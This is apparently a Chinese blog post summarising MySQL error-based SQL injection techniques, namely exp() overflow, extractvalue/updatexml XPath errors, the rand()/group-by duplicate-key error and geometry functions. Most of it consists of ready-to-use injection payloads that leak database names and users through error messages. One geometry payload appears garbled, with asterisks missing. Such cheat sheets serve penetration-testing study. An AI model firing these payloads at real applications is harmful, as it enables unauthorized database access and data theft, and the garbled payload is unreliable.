sql的报错注入总结

1.数据溢出

2.xpath语法错误

3.concat+rand()+group by 主键重复报错

4.几何函数

 

1.数据

exp()函数:此函数返回e(自然对数的底)指数X的幂值  ,select 查询成功返回0, ~0=1111111111111111

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost‘ from dual)))‘

2.xpath语法错误

这个呢主要有两个函数

extractvalue()和updatexml()

主要利用方式为

‘ and (select extractvalue(1,concat(‘~‘,(select database()))))--+

‘ and (select updatexml(1,concat(‘~‘,(select database())),1))--+

这里的~可以换成$或其他特殊字符

3.concat+rand()+group by 主键重复报错

具体原理参照我的另一篇博客

主要利用方式为

‘ union select 1 from (select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x)a--+

4.几何函数

GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp()

利用方法比较统一

‘ and multilinestring((select from (select from (select user())a)b))--+

但是这部分函数低版本的数据库没有办法使用

sql的报错注入总结

上一篇:大话存储系列20——数据存储与数据管理综述


下一篇:mysql 的update